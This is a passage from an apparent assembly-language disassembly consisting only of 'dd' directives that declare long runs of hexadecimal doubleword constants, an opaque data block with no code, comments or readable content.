9282239Dh, 11640A16h dd 0B3884B15h, 98EB3869h, 0ABE1AA0Eh, 51E3E520h, 992C1E9Ah dd 8D1DFEC3h, 98AC4F6Ch, 0D0EC00DEh, 0B6C6106Eh, 0EA9494DAh dd 54FE2DCh, 2EDD21C1h, 0E318263h, 6F2A385Fh, 89AE0142h dd 92327535h, 0C86E3FF5h, 0F1FA5900h, 83CF7711h, 0E2B8994Fh dd 0D1DB1Ch, 8D09747Fh, 0ABA82A91h, 60890583h, 74B70970h dd 803AB1D6h, 7CAD41E2h, 2F010691h, 9522C066h, 3368A0E9h dd 6F64A14Eh, 1F7DDFC8h, 0C3DD34h, 4DD54B1Eh, 0E05B223h dd 5F32717Fh, 0DE3E20A5h, 374F9C0Ch, 0CF4A2D8h, 2720FEDAh dd 0F8C0EB1Ah, 90812C51h, 0CF80EF78h, 0D1C8A0B8h, 7E1DE300h dd 503515DDh, 0F4565A52h, 9007BECFh, 5E585A4Fh, 0C4F18BD3h dd 7965691h, 0DBB7B0A7h, 76B44425h, 552D255Fh, 0E41C02D1h dd 0B40A8641h, 64AD6C83h, 7970D5F3h, 0DAF50272h, 0D1855491h dd 271D8A80h, 91BC0617h, 0E2798B40h, 0CBBE00CAh, 0E5E6AC7Ah dd 5B130330h, 0EFC42F72h, 0AD6EAFh, 0E319F0E8h, 139DBA65h dd 82C4F3C0h, 0F47C9008h, 5AF0D047h, 892A11h, 68B49969h dd 8BBB186Eh, 68BBF251h, 0F9A780E1h, 7BDF3E37h, 305600CAh dd 5F6A22Ah, 0DE094F3Ah, 7E904561h, 270910E1h, 8009D96Ah dd 981F62B5h, 0BA3C9D04h, 0C0A52731h, 0BD6A5ED2h, 0AB7B20C6h dd 2128AE1Fh, 5A803F80h, 2D50178Fh, 341891F0h, 33DC8B0Fh dd 0A5B76E27h, 6116C465h, 29C87EB7h, 0B6D2795h, 0C52D12E8h dd 4DD3FF25h, 0AD60CED1h, 632F89F8h, 3F4EED00h, 0D5852998h dd 0E0BA9D16h, 1911349Dh, 0C9FDAC93h, 73DF90E8h, 57A3012Ah dd 6AD6022Ch, 891C608Fh, 0B75F2B40h, 0D48FC10h, 773DBF79h dd 23908BBDh, 0D50318C7h, 247F010h, 0F4B28126h, 92625F62h dd 277104FEh, 0E8DB09C6h, 94FAC70h, 0FD01CD30h, 0B505EB73h dd 6CBA1A31h, 0DF8A4F75h, 1D0E3B04h, 16A19D84h, 79E8D4E9h dd 0CDCF2527h, 696D682Ah, 3633FB48h, 3DF44B5h, 9B973921h dd 0ED985DBFh, 0CCB49C56h, 83056E91h, 0A22505BDh, 73352DC9h dd 0C2D2D85Fh, 0EF8D410Ah, 0D508962Dh, 0A5291E30h, 0E92D0BDAh dd 0F20B9073h, 848569C7h, 0E934E7E6h, 0B5A98961h, 7652F6B8h dd 27AF702Ch, 0F287040h, 0E30D5888h, 1739E0A5h, 5F0ED202h dd 5F8F0F4Ch, 0AC617118h, 0D0148D48h, 86575F8Ah, 30B40BF6h dd 8BA5694Ch, 2129B513h, 1299F7ACh, 0D7FEC281h, 825B83C4h dd 0F9A0D58Ch, 8C1AACC1h, 0DBF90301h, 35D0B911h, 703C63h dd 0D262860Ch, 8C2B02ABh, 145B0D01h, 503D79FCh, 84F8E41h dd 0DB4E227Ch, 8918099h, 5E5F79BEh, 0B6B9C501h, 557F00D4h dd 1CC9AF78h, 9D292D76h, 3290E85Ah, 2FD40A51h, 3FC0F7DBh dd 22E4506Bh, 0E058EBEEh, 2033CEF0h, 0EF773182h, 0C8014F97h dd 7992B0E0h, 0DA85FF5Fh, 71E46581h, 7965C942h, 43BE809Eh dd 0F910E5B2h, 44814D9Dh, 196C6016h, 0E4819DE7h, 0D18A9BDh dd 5CEC7ECAh, 5C165E4Fh, 61E09CB6h, 0E5099BD5h, 4DD82B93h dd 0BACFC003h, 111262BFh, 71488902h, 0E931731h, 9B97FEDDh dd 5CF88069h, 2DD1BF7Fh, 14D3EA28h, 0D7181659h, 90E27B27h dd 3C3B8B2Fh, 15007FEEh, 71FB26D1h, 633A0476h, 341D9730h dd 675F0304h, 0B35FC3B3h, 0FEB02B5Dh, 4F724DD0h, 804CDE61h dd 50F6C7C9h, 0E05601D9h, 9509606Eh, 18422AEDh, 42C9F8BEh dd 85905562h, 3EE23BA6h, 86047B71h, 0D18B6097h, 225A90ACh dd 0C02B4B44h, 929C7E4Bh, 4C78AC7Dh, 0D24A5409h, 557CC369h dd 0A23B00DCh, 5F91671Dh, 0D52DB52Bh, 11F03509h, 0D5D68117h dd 0BE8464AAh, 0AE05A5C6h, 0DE0B2B34h, 0A203D219h, 0E1A66D9Ch dd 0D4EC796Dh, 9D906C5Dh, 0C33C6D95h, 0B5915803h, 0A6CC3BDDh dd 0AFC7BC88h, 93C0614Dh, 0E9A47BBh, 0CB0113B4h, 9897BEC0h dd 514A3F23h, 5F0BB6A3h, 0E36F07B9h, 56F42D62h, 0CBF60BEDh dd 66274E7Ch, 0DC9C9638h, 0A0B2C00h, 34455887h, 4DE55B65h dd 6E29FD55h, 6204AA6Eh, 0AAA47975h, 69BF88h, 898A305h dd 6F503C4Fh, 55D01900h, 0A64452B3h, 840F49E6h, 5F11530Bh dd 0D7418B62h, 637CC2F5h, 71EEA8C4h, 0C793B0C3h, 6E242EF8h dd 2F821C4Fh, 505A7C07h, 0D309FDBFh, 7B5B2C6Ch, 6F1670E6h dd 0B7A50F03h, 1D75EEBh, 93A290B4h, 6DC32B48h, 0FB528A44h dd 0EDC409FCh, 0B6FCF28Bh, 80C6B7A5h, 0AC6B7BCEh, 4E12AE01h dd 0DB40FA3Ah, 0ECBEB024h, 324D0BC9h, 2FD6C08Bh, 6A5FF80Bh dd 0B1CD6084h, 85C7801Fh, 0D3F5A395h, 7774BAEDh, 424CF99Bh dd 9EF32DEAh, 3B124529h, 0FB1C250Bh, 0A2D0A5EBh, 7ACB2BEDh dd 80789A5Ah, 0CF565E08h, 0D18D1689h, 186CB716h, 4B310EE8h dd 0E0E3077Eh, 0BFDBC0F5h, 0DCC45EC0h, 52986A35h, 0FC19D13h dd 79E647E4h, 72D32AF5h, 0ACD125A4h, 0AE2B2A05h, 0A7F29320h dd 870F270Ah, 847009C4h, 39E28188h, 21311512h, 3A23B560h dd 41292EC8h, 4B0CA52Dh, 0EE54064Ah, 6C23954Ah, 0F27A1F5Ah dd 56677C07h, 5A5760F6h, 0F549FCCCh, 163BBCF6h, 0AD31C14h dd 0A7D7D18Bh, 5DC0E7CDh, 2614E17h, 0EDBBA115h, 7F428876h dd 6DC5456h, 69AD5CE6h, 0AE164445h, 0F288EF79h, 0DC0E0011h dd 0FC3227E7h, 0DF271F7Fh, 0B35650E5h, 0C96B78F1h, 77612012h dd 0C8BEA000h, 9D0D2229h, 95A1EB64h, 0F9E21417h, 27566600h dd 8E5F40FBh, 0D5F23000h, 0B2BDF1EEh, 4EEF1218h, 659704A9h dd 7B600921h, 7D770E8h, 0A8565104h, 0A0F80950h, 0FEB95881h dd 83FD05FFh, 8B1215B8h, 484E8D95h, 0EBEDB621h, 0CFF3A546h dd 0E70E2AE8h, 0FE692698h, 8971DE52h, 0B27EB589h, 4E8D6096h dd 51E99203h, 87A7A285h, 16647A67h, 28602960h, 0E89C10B5h dd 1A820092h, 6179D872h, 0EA00CB4Eh, 9997B771h, 285FEDDAh dd 208669D5h, 83130D41h, 7C0D01E1h, 0F47D4721h, 9BE608B8h dd 0F0D6A819h, 1FC611DAh, 66811711h, 3B3E4EEAh, 9823CF08h dd 0FB19250Dh, 0D1C24200h, 0BCB4CD35h, 6B8015B6h, 0CC4A67B3h dd 1040CD16h, 0D5604961h dd 820093BCh, 0FB675D1h, 4C94A702h, 90C0CD3Ah, 0D763796Ah dd 0AE77BA00h, 0BCB2D9A4h, 5E6F2414h, 1C46D65Eh, 0F359C904h dd 0BE98C00Fh, 0CCB4A508h, 0F4377F40h, 0F7704D1h, 81CB30BDh dd 12146145h, 0EAAD7D85h, 79912B18h, 0D246F78Ah, 8A479D28h dd 0E9611564h, 79FE3087h, 0CB252C49h, 0E7737E1Ch, 0B6E610AFh dd 0CC00923Ah, 3F3071EDh, 0E66A830Ah, 0C3660BC0h, 35435ABFh dd 7EAC9C69h, 0D902F4FBh, 41BA66C9h, 5A4CAB0Bh, 0DC97BE75h dd 2AD40E00h, 8719CC7Eh, 0BCBC91A1h, 0BE5DC880h, 0D697CEF4h dd 0AE957500h, 4D20C59Ah, 244370C0h, 2640496Fh, 0BED08A4h dd 6DA50D29h, 0FF80CF37h, 57DF4164h, 0E82F4800h, 0C277E081h dd 12D05DCh, 2530C9B5h, 3E82A5FFh, 2600B86Eh, 87F178A7h dd 0B5142909h, 4E2D21CDh, 1DF2D1A3h, 3B659D30h, 0D8020FF4h dd 0BF8D1147h, 51859483h, 0B596C8BCh, 0EC1D3120h, 7BCCD38Dh dd 0AC1800E3h, 7B2FD1FCh, 7CA713DAh, 0D471A8D3h, 1CF82443h dd 9D162066h, 28813437h, 101CA3A9h, 0B796BAA0h, 2340116Fh dd 2B4C4F6h, 29198615h, 87749F11h, 0C2721612h, 0B0B32202h dd 5E357C62h, 105EFA81h, 0C14168D6h, 5C221325h, 0A065F6D2h dd 398DBA71h, 20480B4Fh, 0C632597Ah, 640063ECh, 80DC4C25h dd 0DB84AE3h, 493F8A6Fh, 4E06295Ch, 0EA00216Eh, 662DC519h dd 1F51BBBFh, 6FAEADE1h, 0B2314054h, 5A29B0C4h, 1E9AD71Fh dd 4FB77725h, 7A1A3A06h, 7BEED39Ch, 519D04BBh, 88AA7ACCh dd 0FE0ADB6Dh, 560EC2C1h, 0BA040EA0h, 439B4F1Fh, 0F2DB3085h dd 8E88580h, 8903A0BFh, 2BF50AE7h, 24BE8CBDh, 56D1A7D3h dd 0E0B6F39Ch, 9D89BA2h, 94953B28h, 0EE092170h, 0CD617615h dd 22D5C05Ah, 560449D8h, 4E35A8D0h, 124ED2h, 9D6107EBh dd 5DE8E94Ah, 8C19FCh, 62A5A04Bh, 0BD89422Fh, 576D4A95h dd 8E0C9A37h, 40E546E8h, 0C15E8B18h, 101CBEA2h, 402D1F11h dd 2CA3EA8h, 0D600BC54h, 6BFB707Ch, 5EE1362Ch, 5A9001FFh dd 3E1AC281h, 0F68935C2h, 96847B5h, 0B50EDF4h, 79B166B5h dd 24904458h, 10343Eh, 0EB815BF8h, 7FC9644Dh, 73875C45h dd 0FAFC6084h, 81610230h, 277071F3h, 1F7179FFh, 75B58982h dd 42240C0Eh, 68AACB17h, 1CF3E387h, 15C9E002h, 4D26EE3Fh dd 7AF660h, 82747FF0h, 0E883617Eh, 8925027Dh, 83AD7B14h dd 1C8A2970h, 0AB0B1BF0h, 0D95D0500h, 5FE74499h, 220E348h dd 85016059h, 0FFA2C4F8h, 7C8D76E3h, 0E3D6E907h, 235612E8h dd 0BFCD8017h, 5DCA007Bh, 0AD327EB8h, 0B5E49C6Fh, 26034D16h dd 830A90B0h, 0C3685EA2h, 9073D873h, 6CB04603h, 0B02F1FD5h dd 3C889F0Fh, 6F007F57h, 0A6143DD8h, 0EF7E08CAh, 0B5FE5D00h dd 9904E20Ah, 814C012Ch, 5433FB4Fh, 380EC71Fh, 987AA643h dd 0C1202711h, 19484719h, 34588364h, 0A89E421Ah, 302445CCh dd 8A316DDAh, 7201CE70h, 719DCF7Eh, 198C62AFh, 429928A3h dd 30C06FF0h, 73A9383Eh, 0D8060E34h, 1460DAA5h, 5F7E5D10h dd 0D2643300h, 0F4DE1D4Fh, 48280042h, 86CE9481h, 89779308h dd 1A216E0Ch, 0CE0B12Fh, 6201BAFh, 5F41D120h, 96C487E1h dd 607A0189h, 0ABB1D0Ch, 83D9B923h, 0B6831BA0h, 0CE11070Fh dd 8003CBDFh, 1E6FE8D6h, 462119D8h, 3E170330h, 7ACAB19Dh dd 3AE15064h, 20DA5D41h, 0C2C8800Fh, 0F5FC5137h, 0EA730CD3h dd 0C180A28h, 0B32FA300h, 7742171h, 81F67A5h, 4DECCF08h dd 9FEEA8B8h, 0E919608h, 3FE00067h, 47D5FD40h, 0BDA47E1Ch dd 9217AF00h, 31B19CA0h, 9491717Ah, 0C2F2E916h, 7F5DA340h dd 873E3379h, 0EF5E8AAEh, 70B18057h, 0A20061F1h, 76009CD2h dd 0CD1A5D09h, 18FE8ED7h, 20839D6Ah, 720AAB1Fh, 20EED04Fh dd 8C81AB70h, 3ECAD8C2h, 5F10487Eh, 9260034Ah, 5B3B3C08h dd 8306483h, 52C42171h, 93C90F60h, 0AE05092Ch, 3FD420B7h dd 453F3E90h, 236386A6h, 61089B9Eh, 87E02118h, 4782F03Eh dd 0E3B0A00h, 5E954810h, 42D41268h, 0B7200F46h, 91305C2Dh dd 8E80B060h, 0A3A6473Eh, 0DE12448Ch, 933E8500h, 5058B628h dd 0D5D91D71h, 17B78033h, 792289FDh, 0A1B6C0A0h, 87639E00h dd 69996B9h, 0C118C36Eh, 58DA4C7Fh, 0B6775848h, 0DDD7DC00h dd 0D61B03BBh, 4F08CCC3h, 0AE409821h, 0B44B2EBFh, 50561270h dd 0CF23ACC8h, 8F604701h, 7B186408h, 1F4FBF88h, 809D6760h dd 0A075AE10h, 0A9C459C6h, 0CA0F711Fh, 0C04E8890h, 0DDD5DCB8h dd 4B22CB46h, 0DCB09603h, 863EECh, 665AC671h, 0E1FA3AD9h dd 0C5B84400h, 670CE041h, 49C4A016h, 0C10B7487h, 9AD4DE30h dd 8818B143h, 0BD006766h, 8628A806h, 43A1417h, 54B7C04Bh dd 3CE5CC27h, 0A100CF58h, 372C39C7h, 0B6308ECAh, 87F22126h dd 167501B0h, 0D4AE1BACh, 0F521E93Eh, 0A2502357h, 0F61B3076h dd 0D9BDB502h, 6088E4C2h, 0A0407A50h, 844F8260h, 0B786B111h dd 8C4DAC40h, 0D8DCB504h, 8EB3DDh, 0DCAD9900h, 0E1E7C00Bh dd 853E9418h, 0D02C89h, 3DD20D55h, 3C6F496h, 4DDAA63Eh dd 0D0D864F4h, 90604460h, 114C0823h, 0BE3E75h, 6CDB9460h dd 16265447h, 31E423A2h, 319AA04h, 0C288CB35h, 0FF9C481Dh dd 0B61700D7h, 837AD296h, 8CCDA9Eh, 5C2113h, 68AB17D0h dd 0FEE8DB60h, 0BC20F498h, 0C454850Dh, 4E8F6073h, 7899266Ah dd 0DFFD003Ch, 5AC1B815h, 0B111EC91h, 4A3E9580h, 87ABA6h dd 0A83E8CDDh, 0B6015C6Dh, 19C6BB41h, 38209C69h, 0CD184143h dd 8CDC48A4h, 14601448h, 88EC84ABh, 0DCBCC052h, 0AB46DDD1h dd 9A005122h, 0B9F9DCB4h, 0C2F7A4Bh, 76B2AC84h, 0D40E770h dd 3AB60241h, 59DDB83Dh, 0C116C9Dh, 790DC09Eh, 0CAA8401Bh dd 0BC10CC28h, 78A18A2Ch, 7628743h, 6404CE99h, 69E3F060h dd 5C02E6F1h, 0BA0A2A36h, 6330423Eh, 8402EFDh, 0C049144Bh dd 8327870Dh, 61D8E440h, 0CDFE00Fh, 8821F217h, 8D008656h dd 0C7F066A1h, 0EB7B91Ah, 74974081h, 9D0600ABh, 0E2EF10EAh dd 0B4090BDFh, 276CDCBh, 123DAD8h, 6501A268h, 809086FCh dd 22D00FFEh, 0A80C1CA3h, 0A8070CE2h, 1A7E2427h, 6087445Ch dd 23B717D6h, 0A11DA96h, 17CF5F00h, 0B1CA0D5Dh, 3D527402h dd 41FBC67Ch, 0FD1E060h, 0C077C80Eh, 0EEFBEC66h, 995470F5h dd 3F7700F5h, 58E9D9C6h, 94618CEh, 5C088E60h, 0C000E01Ch dd 737A604Eh, 283D6A51h, 2090227Bh, 1B08FFD8h, 5B11B8h dd 89F11D9Eh, 0E0B0BD9Ah, 0A1782520h, 9218B430h, 0A64B3E0Bh dd 24B81CC3h, 4089DAh, 0ACCA5A22h, 0B1E3639h, 8CEE9197h dd 741E3F8Eh, 13CC2368h, 8380548h, 7268222Ch, 6050C220h dd 0BE662CE2h, 730803B0h, 0A8027729h, 0EF04DDFEh, 8930483Fh dd 0E76740AEh, 0B64F4A7h, 4BA0C563h, 120024EBh, 422DCEF2h dd 18A21A8h, 80B75671h, 0A975FD72h, 51809880h, 0C21CB8FFh dd 23F2001Dh, 68694D9h, 9A4A8A12h, 0B5D41C41h, 71B221D5h dd 0D4308DA0h, 5214B817h, 618650EAh, 9D0020CDh, 0F6C2B784h dd 0A021C17Bh, 807296B4h, 36143EE0h, 842C861Fh, 0C4FE17D5h dd 5E2C28FFh, 1917CE00h, 94BAF01Ah, 0EC4700D4h, 5B86DEE0h dd 39267306h, 0ED87B046h, 2B416335h, 0A426361Dh, 536991E0h dd 1836A100h, 968812D7h, 48E27727h, 6602D424h, 0AD5708C7h dd 25A0404Ch, 8B48A646h, 88E1E040h, 0C561003Eh, 4451992Bh dd 9FFEB5ADh, 840594Bh dd 53A65017h, 0AA1E0A63h, 2988BBEh, 3E0EF434h, 0A97D2858h dd 9048D0BAh, 1D12354h, 8916045h, 0BD000E54h, 4A98604Dh dd 550CE729h, 58111B0Ch, 2289109Ah, 0E8104C6Ah, 20388C4Eh dd 0A593B62h, 8C1428B6h, 0EA73C480h, 5C63Ch, 98D8D7EBh dd 0B71E0103h, 55C1D200h, 96D36E83h, 0DA640118h, 7CE2A7D7h dd 5EDC3409h, 0E8F01B5Ch, 46008C4Ch, 0A7728F0Dh, 52189F27h dd 8702B4A6h, 2E99F6B9h, 0B6732050h, 47899316h, 0B752D027h dd 19DCA010h, 0C55CC8h, 5A7C96E5h, 0C0B28AD8h, 591EF679h dd 8C9EE8Eh, 0E4D04506h, 1980600Ah, 97300BE6h, 0F09D5AE0h dd 74807711h, 8BC60CDBh, 3D727E0Ah, 45016446h, 77D2899Bh dd 0DC96E8BFh, 18742162h, 2433ECDEh, 0CD8011DAh, 4CBE570h dd 17EADA0h, 678DA1Eh, 9717E040h, 5E249418h, 40035146h dd 0BA700914h, 0A11FEB83h, 46CC971Bh, 10E2D06Ch, 581E6AF4h dd 8C12E8F4h, 0A83DD902h, 0C2FDBCF2h, 11E41F3Ch, 9DEC800Bh dd 24DDBD24h, 825C9C4Ah, 15B6D4E0h, 98A2B044h, 51D9AC51h dd 0E4005F18h, 90249221h, 0C025B6FAh, 1E22C981h, 0B90077A7h dd 0DE143DD4h, 27FF4F75h, 88A40163h, 0BD98813Eh, 0A2CC7323h dd 0F9043017h, 0C858301h, 1ED0EAA8h, 0FDFC0404h, 86A90B50h dd 58200610h, 0E052E460h, 2304DE05h, 0B6840925h, 843DAC10h dd 77007AF0h, 0FE24AB2Dh, 3E98DEEh, 30042282h, 601062A9h dd 0A6017B95h, 6894A151h, 73C89CDEh, 0CCB102F8h, 0CA7C288Fh dd 0FA904160h, 96B491DEh, 0A066CEE0h, 24B64108h, 2188DECh dd 11A2D47Eh, 20CA2044h, 0B9C0CC51h, 46DDD4DCh, 26522293h dd 34B19Dh, 6E2C0C33h, 9054AB8h, 0A18A8E44h, 0C400B025h dd 0DE89A916h, 4F44A16Dh, 9B73448h, 0C3DDD6DCh, 9724001Ch dd 5C00DDAFh, 6453770Bh, 22E8D6F4h, 4C7185Ch, 60677844h dd 102C91B9h, 0AC3FF300h, 458A8890h, 9D5CB95Dh, 952960C7h dd 53715C59h, 0C501CC19h, 843FE700h, 0B7A154BCh, 959A1388h dd 0D5544060h, 0B603EC25h, 0B5E00600h, 0A5ECDB4h, 2DC25D8h dd 0EA1F3081h, 0C8F03D5Dh, 3FDF0278h, 18503668h, 74DAA609h dd 0C4000EEh, 0F0FE7A8Bh, 2D08F421h, 343947B6h, 9C67020Ch dd 0FD992320h, 0B246A028h, 493E9402h, 0D859B3A6h, 3E8BDC60h dd 0FB70F11h, 4900697Ah, 0BCE318DFh, 0A72E6090h, 0D508606Bh dd 17A80068h, 55C5A30Ch, 0E09F10CEh, 0DFFC8FAAh, 0B4500135h dd 7FAA111h, 0BCAC3CC7h, 93038C7Ch, 33E226ABh, 519D9052h dd 54952819h, 1226A2F0h, 0A6C860F0h, 11889408h, 604983CDh dd 0C734F295h, 51C1004Ch, 0A1D5A60h, 0D0878E30h, 537298CEh dd 16A2A021h, 2F18F30h, 0F5110C2Dh, 64673FD7h, 6F600B64h dd 0B101F3CEh, 872BE19h, 0FC263B24h, 0CE6B87F0h, 4919C00h dd 3E57AEA3h, 0B73101DAh, 0B19462A1h, 25706C1Ah, 11F41DC1h dd 9AC08705h, 0EF7782E0h, 2E49D792h, 11239Ch, 34219CDEh dd 1B4CAEF4h, 248C8A78h, 0BA17D340h, 2CF24A96h, 0CC00608Ch dd 6786F117h, 0F49B0CF4h, 4B50046Eh, 0C2A5E2A2h, 0F4D35DB9h dd 0E23670h, 9E67999Ah, 1A53CB6Bh, 72CF26h, 30BEA08h, 0C2DA241Eh dd 6B063904h, 90806745h, 2A531ACh, 9F87761Dh, 9407A841h dd 0F052B685h, 0D400B86Fh, 8A0AF7B4h, 1C09F8DDh, 4885E2B2h dd 801492C8h, 3E17C86Ch, 40D81B22h, 429E134Ah, 0A4221CB5h dd 764674A0h, 4A18E30Eh, 0F8893921h, 0FADCE454h, 0B6040CBCh dd 0D8005719h, 0CD6E4BFDh, 0AEDCDF1Fh, 9980382Eh, 1D120A95h dd 0D65602F4h, 0B6AF57A3h, 0F6E26CFAh, 9A718AC0h, 0E5387DC1h dd 0ACD09854h, 28A33545h, 0D1829A8h, 1DC2FCE0h, 84BC7960h dd 68F4A08Ah, 58EA1046h, 0A31A0B03h, 910E155h, 19B8982Ch dd 9AB6018Ch, 7A336B46h, 8DC1C00Dh, 33B4F76h, 361A0473h dd 64988A1Fh, 0BC1704D1h, 8B7B0296h, 0CA6200ACh, 0E2F4BD17h dd 18AB0E40h, 6E665D7h, 0A82FD823h, 0BD8020A9h, 0A01786D6h dd 802D7AF8h, 566216B6h, 5004F2E9h, 0C0CF581Ch, 30219302h dd 8CA04986h, 0A6E4BC54h, 6E3B2000h, 84C351DDh, 0D4890008h dd 0F8BBD4Dh, 3D7FEDC4h, 0CC01A4A8h, 0E7237301h, 1668388Eh dd 99B2F940h, 1CB409F9h, 0DA80BF34h, 0D8243E5Bh, 24382D49h dd 867089Fh, 0C7F574C7h, 2A0FBCC1h, 0ED073006h, 0F1569647h dd 0C06718Ch, 20D2A7DFh, 0B80540C9h, 0B2FCDE1Ah, 6C41F440h dd 486B0839h, 758330Dh, 6A5E1F02h, 58C85469h, 0FDF08606h dd 0A5DB5D41h, 0B0048056h, 94040B02h, 0DE30E499h, 416053E6h dd 5C5E9C18h, 3C6800A1h, 1EDFFEE9h, 0C254DCE0h, 4E3EE4B8h dd 0E00F2A64h, 930652ECh, 88863F46h, 145E4C69h, 0A169C279h dd 3E0371F6h, 33E90087h, 0B2E74B77h, 8301CA6Ch, 641DBEFEh dd 1C28EF03h, 0A024B615h, 40AD521Eh, 5C8326A8h, 0CD00811Ah dd 3B2F5DDh, 92BD82FEh, 0DE751C68h, 9304A6DCh, 64A08896h dd 8D04084Ch, 0A2DC61B6h, 0C50626EAh, 0A4502408h, 91133A4Ch dd 448542h, 1F4AD1BCh, 0C535931Ah, 2CF26862h, 5D3012F2h dd 0F6716Ah, 70FEE2CEh, 0CE83517h, 5FA56712h, 20CA6042h dd 0D44208h, 0FC787288h, 0D01C67EAh, 0A8B786A6h, 6BD5502h dd 0ABEEFDAAh, 91081DB8h, 7B638071h, 5BD2A834h, 664802B8h dd 0B85908CDh, 0E8180C71h, 0A9841416h, 732AB404h, 0DD4E0200h dd 7E013F4Dh, 833E9FCFh, 40386B32h, 78C53BCh, 69751D92h dd 33BA4017h, 1EF66885h, 1A34B09Ah, 6C8E91A7h, 89C10C88h dd 95DCFD7Ch, 0F4E00B55h, 0CC13176Ah, 0E8D863F4h, 8CCA96B5h dd 985D0644h, 0FC973F78h, 236CB801h, 443CE2A8h, 0C8C8CEECh dd 0A6A1C076h, 7409C0EAh, 4AC5F0Bh, 14C1A500h, 588002F4h dd 0E06094AFh, 5E6F1C77h, 6D91E08h, 109761B8h, 23D03A47h dd 0C690E0Dh, 99A25081h, 0B102D4Eh, 89070D12h, 40698908h dd 74DB2408h, 76D8B69Ch, 0A7247346h, 87751F70h, 0C8B6C7D2h dd 918097A7h, 0D879804Ah, 0BC299B08h, 0A8C2CF8h, 298590Ch dd 3673CA05h, 0C580C8B7h, 45DFC94Ch, 3F360130h, 0A3AC32D6h dd 0B19CC8B4h, 0C44F8A25h, 0B9B861ECh, 489B449Fh, 59815610h dd 0FE31A810h, 66C96A18h, 2A6420B0h, 95D8A001h, 3766C04h dd 0E28B7h, 0F8B33819h, 81C8A480h, 170307BFh, 6A0F40EFh dd 0BAE03C2h, 2F32F4DEh, 0EA32021h, 22D420B0h, 60A551DDh dd 2C32FE4h, 885B7D9Fh, 28C84D8Ah, 0A8CA1E29h, 0FF81C87Ch dd 0A7B7D9BCh, 4032B830h, 0A8093E43h, 5BF4D8DAh, 0DEF0D320h dd 0C2017C2Dh, 0CAA65458h, 0D84017E0h, 63B5A24Eh, 0F424905Ah dd 0EBD050D8h, 0A644F004h, 0E8A2635Bh, 0C53010F2h, 3A4F0256h dd 51758A66h, 2822F064h, 91104819h, 61898700h, 0B97CBFE4h dd 0AC595813h, 0E3A71B00h, 1CF521C9h, 2E35A841h, 0E97000D8h dd 0FF63FA4Eh, 48A6DCBCh, 24254A1Dh, 48E8EA58h, 0BC35352Fh dd 40725D80h, 71B2F32Fh, 0F51B0FE2h, 40F6AE91h, 5B5404E8h dd 6800814Dh, 356657A2h, 94804086h, 0A037001Ch, 0A3062E5Fh dd 711AE216h, 2B006C7Ah, 1AFA7DB2h, 151E4533h, 0ECE4B880h dd 4C9FA640h, 2EA5018Fh, 604E1D2Ch, 3D1BE4E1h, 8945C707h dd 28B4EEBCh, 0A01A8E9h, 8E2AE362h, 6072E25Bh, 20958A18h dd 1A0EA879h, 0B9CE7306h, 177910D1h, 0BC00F618h, 0A83C87F3h dd 90F004F2h, 0C988805Ch, 76909480h, 5020A46h, 0D6DC6042h dd 1C968C68h dd 1853F22h, 71AAFCCAh, 0C8F1AC17h, 232482F7h, 0FF4194DBh dd 0C824B9C4h, 48B60583h, 0A1EE9995h, 6EC46098h, 0C959136Eh dd 11B49D5Ah, 0EE4C8777h, 804EB493h, 3B81CD9h, 0E88D47FCh dd 0B6A44F99h, 0CC0AE0D0h, 0DD60004Bh, 9215046Bh, 0D488811Eh dd 4B48925Bh, 23102E35h, 0DC121C0Ah, 3AAF00D5h, 0A3236EB3h dd 38AC6953h, 80403DC9h, 338D6D8Bh, 0CCD643h, 0A337BA8Fh dd 872573A1h, 70B16160h, 2AAD59Fh, 0A5E94418h, 0F85EB54Bh dd 17B2AD40h, 0D0DE0027h, 0D5D43D69h, 0F0000353h, 0A225869Dh dd 2E3B3DAh, 0A3085D0Ch, 0BC5048C1h, 8030D225h, 0D14FEFB4h dd 193803DFh, 18AD872Eh, 0C7DC80A5h, 0B5068ED8h, 9FB6CF47h dd 50630428h, 4086D745h, 0D03EB791h, 46A009B6h, 0BAF8C6FEh dd 7403D09Eh, 62155CCAh, 5A291868h, 0CDC0FE02h, 7EF9C094h dd 912D96B1h, 9060816Ah, 4463A342h, 42608C45h, 780B6914h dd 97CA5484h, 364D0C0h, 71821EFCh, 18137964h, 40989656h dd 0F4B2D98h, 0A03E5B27h, 2F501B4Ch, 1707863h, 0DE8045DBh dd 0E84F4786h, 7F3A590Eh, 0B758075Bh, 9460859Ch, 6D87C0h dd 461AEFAFh, 560E437Fh, 1DB8403Ah, 21CBC367h, 20860057h dd 3B6FE8Fh, 0B522AA1Ah, 29348717h, 180E217Fh, 4F49B88Fh dd 0D8FA23h, 3BEA2428h, 17A82026h, 465EC494h, 0A8C7037Bh dd 593EE1Dh, 6E1FF28h, 84F0C1A6h, 0EC1C2810h, 38018C77h dd 0A3ADB191h, 3C739D18h, 0A293583Ah, 6978A122h, 78D8B900h dd 80F33C49h, 0A806BC00h, 22F4CA45h, 0D3E71091h, 0F4B61278h dd 610F37DCh, 40BF4051h, 36A93C12h, 42A7906h, 7414EBCAh dd 8EB495EAh, 0C072C828h, 0D59EAADFh, 7CE8C03h, 0A20C7DD4h dd 172C7826h, 0DE88BE89h, 0B30E8000h, 2B9FAA5h, 91953702h dd 820E7B5Eh, 5C291F04h, 439F8710h, 7C6DC912h, 4CF967C0h dd 0C1E50035h, 64B5DDF5h, 2CB92209h, 7652B104h, 1E811C03h dd 145E56E2h, 70124674h, 0CCA5713Eh, 81F18B64h, 91AF0F6Ch dd 18BC0C38h, 75E4008Ch, 0B8E695BDh, 4174EEAEh, 6D2C2171h dd 53110C01h, 6A451867h, 607E1ECCh, 10B08D4Ch, 0D41C4A15h dd 30579ADFh, 40419CCFh, 0BCF49752h, 37C43C46h, 0D6891077h dd 4E00479h, 0FCB31CEFh, 0BD3011B2h, 0D65000A8h, 0F8E62A46h dd 580994C9h, 0A0E401DEh, 2FB41890h, 0B1931706h, 0AF342250h dd 123E8F30h, 0CB9BA648h, 86DF00CCh, 201CB33Eh, 0A56B3906h dd 1916A040h, 0C09A3583h, 15FB63C0h, 913B437Ch, 0C030C8F2h dd 0BAEFFD4Eh, 0DDD709C6h, 0B479FFAFh, 0FA180B79h, 54F2470Bh dd 0FC605A16h, 0F140810Fh, 0C41C3B2Ch, 0C453B900h, 1CA6622Ah dd 6F1FD7DDh, 698078B7h, 1ED4FDE6h, 4AD0901Bh, 6044C94Eh dd 3009D5B0h, 3033E14Ah, 514A844h, 5589931Ah, 0A290F36Eh dd 0EC653017h, 83BC5400h, 1A49D6FEh, 24DA38A6h, 16A08050h dd 0E4DF2391h, 0B8A4277Ch, 7B9A9801h, 87C5ADFBh, 